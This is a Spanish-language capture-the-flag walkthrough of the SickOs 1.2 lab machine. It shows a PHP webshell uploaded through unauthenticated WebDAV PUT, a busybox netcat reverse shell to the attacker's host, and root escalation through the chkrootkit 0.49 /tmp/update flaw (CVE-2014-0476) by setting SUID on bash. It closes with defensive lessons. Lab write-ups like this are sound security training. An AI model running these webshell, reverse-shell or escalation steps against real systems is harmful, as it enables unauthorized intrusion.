SickOs 1.2
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. SickOs 1.2 es una máquina Ubuntu que expone SSH y un lighttpd 1.4.28 con WebDAV habilitado en/test/. Los métodosPUT,MKCOLyMOVEestán disponibles sin autenticación, así que subimos una webshell PHP por PUT y obtenemos ejecución de comandos comowww-data. Para la escalada, pspy revela querootejecuta chkrootkit 0.49 por cron. Esa versión (CVE-2014-0476) ejecuta ciegamente/tmp/updatesi existe: creamos ese fichero conchmod u+s /bin/bashy, cuando el cron dispara,/bin/bashqueda SUID;bash -pnos da root.
Reconocimiento
Un arp-scan en la red local sitúa el objetivo en 11.0.0.131.
arp-scan --localnet -I eth011.0.0.1 00:50:56:c0:00:03 VMware, Inc.
11.0.0.131 00:0c:29:49:8b:4d VMware, Inc.
11.0.0.254 00:50:56:e6:a6:cb VMware, Inc.Enumeración de servicios
El escaneo completo de puertos deja solo dos abiertos: 22 (SSH) y 80 (HTTP).
nmap -p- -sS --min-rate 5000 -n --open -vvv 11.0.0.131PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV -n -Pn 11.0.0.131 -oN targeted_scan22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelwhatweb añade la versión de PHP: PHP 5.3.10, otra pieza muy desactualizada.
whatweb http://11.0.0.131/http://11.0.0.131/ [200 OK] HTTPServer[lighttpd/1.4.28], PHP[5.3.10-1ubuntu3.21],
X-Powered-By[PHP/5.3.10-1ubuntu3.21], lighttpd[1.4.28]WebDAV en /test/
Probando rutas típicas de lighttpd aparece /test/. Una petición OPTIONS con curl revela que ahí vive WebDAV, y que los métodos de escritura están permitidos.
curl -v -X OPTIONS http://11.0.0.131/test/< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCKPUT, MKCOL, MOVE, DELETE... y ninguna autenticación. Esto permite subir ficheros arbitrarios al servidor, así que el siguiente paso es evidente: subir una webshell.
Shell como www-data
Subida de webshell por PUT (WebDAV)
Creamos una webshell PHP mínima y la subimos a /test/ con PUT. El servidor responde 201 Created. Al invocarla con ?cmd=id confirmamos ejecución de comandos: uid=33(www-data).
echo '<?php system($_GET["cmd"]); ?>' > exploit.php
curl -v -X PUT -d @exploit.php http://11.0.0.131/test/exploit.php
curl 'http://11.0.0.131/test/exploit.php?cmd=id'
< HTTP/1.1 201 Created
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)Con RCE confirmada, lanzamos una reverse shell. La máquina tiene las herramientas capadas (parte del reto es "old school"), pero busybox nc sigue disponible.
# atacante
nc -lvnp 443
# navegador / curl
http://11.0.0.131/test/exploit.php?cmd=busybox nc 11.0.0.129 443 -e bashCae la conexión como www-data@ubuntu y la estabilizamos a PTY.

http://11.0.0.131/test/exploit.php?cmd=busybox nc 11.0.0.129 443 -e bash
$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 11.0.0.129 . 172.18.0.1 . 172.17.0.1
(Penelope)> listeners add -p 443
[+] Listening for reverse shells on 0.0.0.0:443 -> 127.0.0.1 . 11.0.0.129 . 172.18.0.1 . 172.17.0.1
[+] Got reverse shell from ubuntu~11.0.0.131-Linux-i686 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@ubuntu:/var/www/test$ whoami
www-dataEscalada de privilegios: chkrootkit 0.49
pspy: un cron de root
Sin credenciales de otros usuarios, buscamos tareas programadas. Transferimos pspy (monitoriza procesos sin privilegios) y observamos qué corre en segundo plano.
# atacante
python3 -m http.server 8080
# víctima
wget http://11.0.0.129:8080/pspy32 &>/dev/null; chmod +x pspy32; ./pspy32pspy (repo) captura, con UID=0, la ejecución periódica de /bin/sh /usr/sbin/chkrootkit lanzada por CRON. Es decir, root corre chkrootkit cada poco tiempo.

2026/04/21 07:22:15 CMD: UID=0 PID=1 | /sbin/init
2026/04/21 07:23:01 CMD: UID=0 PID=8013 | CRON
2026/04/21 07:23:01 CMD: UID=0 PID=8014 | /bin/sh -c /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0 PID=8015 | /bin/sh /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0 PID=8016 | /bin/sh /usr/sbin/chkrootkit
2026/04/21 07:23:01 CMD: UID=0 PID=8032 | /bin/uname -s
2026/04/21 07:23:01 CMD: UID=0 PID=8033 | /bin/uname -r
2026/04/21 07:23:01 CMD: UID=0 PID=8034 | /bin/ps ax
2026/04/21 07:23:01 CMD: UID=0 PID=8044 | /bin/echo -n Checking `amd' ...
2026/04/21 07:23:01 CMD: UID=0 PID=8051 | /bin/echo -n Checking `basename' ...CVE-2014-0476: el fichero /tmp/update
Inspeccionando el binario (cat /usr/sbin/chkrootkit) se confirma la versión 0.49. searchsploit chkrootkit 0.49 documenta el fallo: la función slapper() de chkrootkit hace run ./update sin comillas ni validación, de modo que si existe /tmp/update con permisos de ejecución, chkrootkit lo ejecuta con los privilegios de quien lo lanza. Como aquí lo lanza root por cron, cualquier escritura en /tmp se convierte en ejecución como root (CVE-2014-0476).
Creamos /tmp/update con un payload que marca /bin/bash como SUID y esperamos al cron.
cat > /tmp/update <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/updateCuando chkrootkit se ejecuta, /bin/bash pasa a ser SUID root (-rwsr-xr-x). Con bash -p (que conserva el UID efectivo) obtenemos una shell de root y leemos la flag final.
ls -l /bin/bash
bash -p
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
-rwsr-xr-x 1 root root 920788 Mar 28 2013 /bin/bash
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2 ...Cadena de ataque
lighttpd 1.4.28 en :80 → WebDAV en /test/ (PUT sin auth)
└─ PUT webshell.php ── RCE como www-data ── busybox nc ── reverse shell
└─ pspy: root ejecuta chkrootkit 0.49 por cron
└─ CVE-2014-0476: /tmp/update con chmod u+s /bin/bash
└─ bash -p ── shell como root ── flagLecciones aprendidas
- WebDAV sin autenticación es RCE servida. Permitir
PUTsobre un directorio servido por el intérprete PHP equivale a dar ejecución de comandos a cualquiera. Si se necesita WebDAV, va con autenticación y con las extensiones ejecutables filtradas. - Enumerar procesos revela lo que no se ve. Sin credenciales adicionales,
pspyes la forma de descubrir tareas de cron que corren como root. Fue la pieza que destapó la escalada. - El software de seguridad también tiene bugs. chkrootkit 0.49, una herramienta defensiva, se convirtió en el vector de escalada por ejecutar
/tmp/updatesin validar. Mantener actualizado hasta lo que "protege". bash -pconserva el privilegio. El truco de marcar/bin/bashSUID solo sirve porque-pevita que la shell descarte el UID efectivo de root; sin-p, bash bajaría privilegios al arrancar.